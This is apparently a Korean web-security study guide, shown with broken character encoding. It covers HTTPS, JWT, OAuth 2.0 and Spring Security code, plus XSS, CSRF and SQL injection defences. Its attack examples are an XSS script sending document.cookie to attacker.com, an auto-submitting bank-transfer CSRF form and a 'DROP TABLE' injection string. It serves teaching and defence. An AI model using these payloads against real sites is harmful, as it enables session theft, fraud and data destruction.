์น ๋ณด์์ด๋ ๋ฌด์์ธ๊ฐ
์ธํฐ๋ท์์ ์ ๋ณด๋ฅผ ์ฃผ๊ณ ๋ฐ์ ๋,
๋๊ตฐ๊ฐ ๋ชฐ๋ ๊ฐ๋ก์ฑ๊ฑฐ๋ ์์กฐํ ์ ์๋ค๋ฉด?
์น ๋ณด์์ ์ด๋ฐ ์ํ์ผ๋ก๋ถํฐ
์ฌ์ฉ์์ ์์คํ
์ ์งํค๋ ๋ฐฉ๋ฒ์ด๋ค.
๋ง์น ์ํ์์ ํ๊ธ์ ์ด๋ฐํ ๋
๊ฒฝํธ์๊ณผ ๋ณด์์ฐจ๋์ ์ฌ์ฉํ๋ฏ์ด,
์น์์๋ ๋ฐ์ดํฐ๋ฅผ ์์ ํ๊ฒ ์ ์กํ๊ณ
์ฌ์ฉ์๋ฅผ ์ธ์ฆํ๋ ๋ฐฉ๋ฒ์ด ํ์ํ๋ค.
์ ์น ๋ณด์์ ๋ฐฐ์์ผ ํ ๊น?
์ด์ 1: ๊ฐ์ธ์ ๋ณด ๋ณดํธ
๋น๋ฐ๋ฒํธ, ์นด๋๋ฒํธ ๋ฑ ๋ฏผ๊ฐํ ์ ๋ณด๋ฅผ ์งํจ๋ค.
์ด์ 2: ๋ฒ์ ์๋ฌด
๊ฐ์ธ์ ๋ณด๋ณดํธ๋ฒ, GDPR ๋ฑ ๋ฒ์ ์ค์ ํ์.
์ด์ 3: ์ ๋ขฐ ๊ตฌ์ถ
๋ณด์ ์ฌ๊ณ ๋ ๊ธฐ์
์ ์ ๋ขฐ๋ฅผ ๋ฌด๋๋จ๋ฆฐ๋ค.
์ด์ 4: ๋ฉด์ ํ์
HTTPS, JWT, XSS ๋ฐฉ์ด๋ ๋ฉด์ ๋จ๊ณจ ์ง๋ฌธ์ด๋ค.
๊ธฐ๋ณธ ๊ฐ๋ ์์ฝ
๐ท๏ธ HTTPS์ SSL/TLS
HTTP vs HTTPS
HTTP: ์ํธํ๋์ง ์์ ํ๋ฌธ ํต์
์ฐํธ์ฝ์ ๋น์ : ๋๊ตฌ๋ ๋ด์ฉ์ ๋ณผ ์ ์๋ค.
HTTPS: SSL/TLS๋ก ์ํธํ๋ ์์ ํ ํต์
๋ด์ธ๋ ํธ์ง ๋น์ : ๋ฐ๋ ์ฌ๋๋ง ์ด์ด๋ณผ ์ ์๋ค.
HTTPS ๋์ ์๋ฆฌ
1. ํด๋ผ์ด์ธํธ โ ์๋ฒ: "์๋
ํ์ธ์" (Client Hello)
2. ์๋ฒ โ ํด๋ผ์ด์ธํธ: "์ธ์ฆ์์
๋๋ค" (Server Hello)
3. ํด๋ผ์ด์ธํธ: ์ธ์ฆ์ ๊ฒ์ฆ (CA ํ์ธ)
4. ํด๋ผ์ด์ธํธ โ ์๋ฒ: ์ํธํ ํค ๊ตํ
5. ์์ชฝ: ๋์นญํค๋ก ์ํธํ ํต์ ์์
ํต์ฌ ๊ฐ๋ :
- CA (Certificate Authority): ์ธ์ฆ์ ๋ฐ๊ธ ๊ธฐ๊ด
- ๊ณต๊ฐํค/๊ฐ์ธํค: ๋น๋์นญ ์ํธํ
- ๋์นญํค: ์ค์ ๋ฐ์ดํฐ ์ํธํ
๐ท๏ธ JWT (JSON Web Token)
JWT ๊ตฌ์กฐ
[Header].[Payload].[Signature]
eyJhbGci... .eyJ1c2Vy... .Xm3i8xW9J...
Header: ํ ํฐ ํ์ ๊ณผ ์๊ณ ๋ฆฌ์ฆ
{
"alg": "HS256",
"typ": "JWT"
}
Payload: ์ค์ ๋ฐ์ดํฐ
{
"userId": 123,
"name": "ํ๊ธธ๋",
"role": "USER",
"exp": 1700003599
}
์ฃผ์: Payload๋ ์ํธํ๋์ง ์์!
๋ฏผ๊ฐํ ์ ๋ณด๋ ์ ๋ ๋ฃ์ง ๋ง ๊ฒ.
Signature: ๋ฌด๊ฒฐ์ฑ ๊ฒ์ฆ
HMACSHA256(
base64(header) + "." + base64(payload),
secret_key
)
JWT ์ฅ๋จ์
์ฅ์ :
- Stateless (์๋ฒ์ ์ํ ์ ์ฅ ๋ถํ์)
- ํ์ฅ์ฑ (์ฌ๋ฌ ์๋ฒ์์ ๊ฒ์ฆ ๊ฐ๋ฅ)
- ๋ง์ดํฌ๋ก์๋น์ค ์ ํฉ
๋จ์ :
- ํ ํฐ ํฌ๊ธฐ๊ฐ ํผ
- ์ฆ์ ๋ฌดํจํ ์ด๋ ค์
- Payload ๋ ธ์ถ ์ํ
๐ท๏ธ OAuth 2.0
OAuth๋?
๊ฐ๋
: ์ 3์ ์ ํ๋ฆฌ์ผ์ด์
์ ๊ถํ ์์
ํธํ
๋น์ :
๋ง์คํฐํค ๋์ ์์ ์นด๋ํค ๋ฐ๊ธ
์ฌ์ฉ ํ ์๋ ๋ฌดํจํ
Authorization Code Flow
1. ์ฌ์ฉ์ โ ํด๋ผ์ด์ธํธ: "๊ตฌ๊ธ๋ก ๋ก๊ทธ์ธ"
2. ํด๋ผ์ด์ธํธ โ ๊ตฌ๊ธ: ์ธ์ฆ ์์ฒญ (๋ฆฌ๋ค์ด๋ ํธ)
3. ์ฌ์ฉ์ โ ๊ตฌ๊ธ: ๋ก๊ทธ์ธ ๋ฐ ๊ถํ ์น์ธ
4. ๊ตฌ๊ธ โ ํด๋ผ์ด์ธํธ: Authorization Code ์ ๋ฌ
5. ํด๋ผ์ด์ธํธ โ ๊ตฌ๊ธ: Code๋ก Access Token ์์ฒญ
6. ๊ตฌ๊ธ โ ํด๋ผ์ด์ธํธ: Access Token ๋ฐ๊ธ
7. ํด๋ผ์ด์ธํธ โ ๊ตฌ๊ธ API: Token์ผ๋ก ์ฌ์ฉ์ ์ ๋ณด ์์ฒญ
์ฃผ์ ๋ณด์ ์ํ
๐ท๏ธ XSS (Cross-Site Scripting)
๊ณต๊ฒฉ ์๋ฆฌ
๊ฐ๋
: ์
์ฑ ์คํฌ๋ฆฝํธ๋ฅผ ์น ํ์ด์ง์ ์ฝ์
<!-- ์
์ฑ ์ฝ๋ ์์ -->
<script>
fetch('http://attacker.com?cookie=' + document.cookie);
</script>
XSS ๋ฐฉ์ด
1. ์ ๋ ฅ ์ด์ค์ผ์ดํ:
// โ ์ํ
element.innerHTML = userInput;
// โ
์์
element.textContent = userInput;
function escapeHtml(text) {
const map = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": '''
};
return text.replace(/[&<>"']/g, m => map[m]);
}
2. CSP ํค๋:
Content-Security-Policy: default-src 'self'; script-src 'self'
3. HttpOnly Cookie:
Set-Cookie: sessionId=abc; HttpOnly; Secure; SameSite=Strict
๐ท๏ธ CSRF (Cross-Site Request Forgery)
๊ณต๊ฒฉ ์๋ฆฌ
๊ฐ๋
: ์ฌ์ฉ์๊ฐ ์๋ํ์ง ์์ ์์ฒญ์ ๊ฐ์ ์คํ
<!-- ์
์ฑ ์ฌ์ดํธ -->
<form action="https://bank.com/transfer" method="POST">
<input type="hidden" name="to" value="attacker" />
<input type="hidden" name="amount" value="1000000" />
</form>
<script>document.forms[0].submit();</script>
CSRF ๋ฐฉ์ด
1. CSRF Token:
<form action="/transfer" method="POST">
<input type="hidden" name="csrf_token" value="random123" />
<input name="to" />
<input name="amount" />
<button>์ก๊ธ</button>
</form>
2. SameSite Cookie:
Set-Cookie: sessionId=abc; SameSite=Strict
๐ท๏ธ SQL Injection
๊ณต๊ฒฉ ์๋ฆฌ
// โ ์ํ
String query = "SELECT * FROM users WHERE username = '" + username + "'";
// ์
๋ ฅ: admin'; DROP TABLE users; --
// ๊ฒฐ๊ณผ: ํ
์ด๋ธ ์ญ์ !
SQL Injection ๋ฐฉ์ด
Prepared Statement:
// โ
์์
String query = "SELECT * FROM users WHERE username = ?";
PreparedStatement pstmt = conn.prepareStatement(query);
pstmt.setString(1, username);
์ค์ ์์
๐ท๏ธ Spring Security + JWT ๊ตฌํ
@Component
public class JwtTokenProvider {
@Value("${jwt.secret}")
private String secretKey;
public String createToken(String username, List<String> roles) {
Claims claims = Jwts.claims().setSubject(username);
claims.put("roles", roles);
Date now = new Date();
Date validity = new Date(now.getTime() + 3600000); // 1์๊ฐ
return Jwts.builder()
.setClaims(claims)
.setIssuedAt(now)
.setExpiration(validity)
.signWith(SignatureAlgorithm.HS256, secretKey)
.compact();
}
public boolean validateToken(String token) {
try {
Jwts.parser().setSigningKey(secretKey).parseClaimsJws(token);
return true;
} catch (JwtException e) {
return false;
}
}
public String getUsername(String token) {
return Jwts.parser()
.setSigningKey(secretKey)
.parseClaimsJws(token)
.getBody()
.getSubject();
}
}
๐ท๏ธ OAuth 2.0 ๊ตฌํ (Google)
# application.yml
spring:
security:
oauth2:
client:
registration:
google:
client-id: YOUR_CLIENT_ID
client-secret: YOUR_CLIENT_SECRET
scope: email, profile
@Configuration
public class SecurityConfig {
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http
.authorizeRequests()
.antMatchers("/", "/login**").permitAll()
.anyRequest().authenticated()
.and()
.oauth2Login();
return http.build();
}
}
์ค์ ์ฒดํฌ๋ฆฌ์คํธ
โ HTTPS
- ๋ชจ๋ ํ์ด์ง์ HTTPS ์ ์ฉ
- HTTP โ HTTPS ๋ฆฌ๋ค์ด๋ ํธ
- HSTS ํค๋ ์ค์
- SSL ์ธ์ฆ์ ์๋ ๊ฐฑ์
โ ์ธ์ฆ/์ธ๊ฐ
- ๋น๋ฐ๋ฒํธ ํด์ฑ (BCrypt)
- JWT ๋ง๋ฃ ์๊ฐ ์ค์
- Refresh Token ๊ตฌํ
- ์ญํ ๊ธฐ๋ฐ ์ ๊ทผ ์ ์ด
โ XSS ๋ฐฉ์ด
- ์ ๋ ฅ ์ด์ค์ผ์ดํ
- CSP ํค๋ ์ค์
- HttpOnly Cookie
- ์๋ฒ ์ธก ๊ฒ์ฆ
โ CSRF ๋ฐฉ์ด
- CSRF ํ ํฐ ์ฌ์ฉ
- SameSite Cookie
- Referer ๊ฒ์ฆ
โ SQL Injection ๋ฐฉ์ด
- Prepared Statement
- ORM ์ฌ์ฉ
- ์ ๋ ฅ ๊ฒ์ฆ
- ์ต์ ๊ถํ ์์น
์์ฝ
์น ๋ณด์์ ์ฌ์ฉ์์ ์์คํ
์ ์งํค๋ ํ์ ์์๋ค.
๐ ํต์ฌ ํฌ์ธํธ:
- HTTPS: ๋ชจ๋ ํต์ ์ ์ํธํ
- JWT: Stateless ์ธ์ฆ
- OAuth: ์ 3์ ์ธ์ฆ ์์
- XSS ๋ฐฉ์ด: ์ ๋ ฅ ์ด์ค์ผ์ดํ, CSP
- CSRF ๋ฐฉ์ด: CSRF ํ ํฐ, SameSite
- SQL Injection: Prepared Statement
๐ ๋ณด์ ์์น:
- ์ต์ ๊ถํ: ํ์ํ ๊ถํ๋ง ๋ถ์ฌ
- ๋ค์ธต ๋ฐฉ์ด: ์ฌ๋ฌ ๋ณด์ ๊ณ์ธต ์ ์ฉ
- ์ ๋ ฅ ๊ฒ์ฆ: ๋ชจ๋ ์ ๋ ฅ์ ์์ฌ
- ์ํธํ: ๋ฏผ๊ฐํ ๋ฐ์ดํฐ๋ ์ํธํ
- ๋ก๊น : ๋ณด์ ์ด๋ฒคํธ ๊ธฐ๋ก
๐ ๋ฉด์ ๋จ๊ณจ ์ง๋ฌธ:
- HTTPS ๋์ ์๋ฆฌ
- JWT vs Session ์ฐจ์ด
- XSS์ CSRF ์ฐจ์ด ๋ฐ ๋ฐฉ์ด
- SQL Injection ๋ฐฉ์ด ๋ฐฉ๋ฒ
- OAuth 2.0 ํ๋ก์ฐ
์น ๋ณด์์ ํ ๋ฒ ์ค์ ํ๊ณ ๋์ด ์๋๋ผ,
์ง์์ ์ผ๋ก ๊ด๋ฆฌํ๊ณ ์
๋ฐ์ดํธํด์ผ ํ๋ค.
๋ณด์ ์ฌ๊ณ ๋ ๊ธฐ์
์ ์ ๋ขฐ์ ์ง๊ฒฐ๋๋ฏ๋ก,
์ฒ์๋ถํฐ ๋ณด์์ ๊ณ ๋ คํ ์ค๊ณ๊ฐ ์ค์ํ๋ค.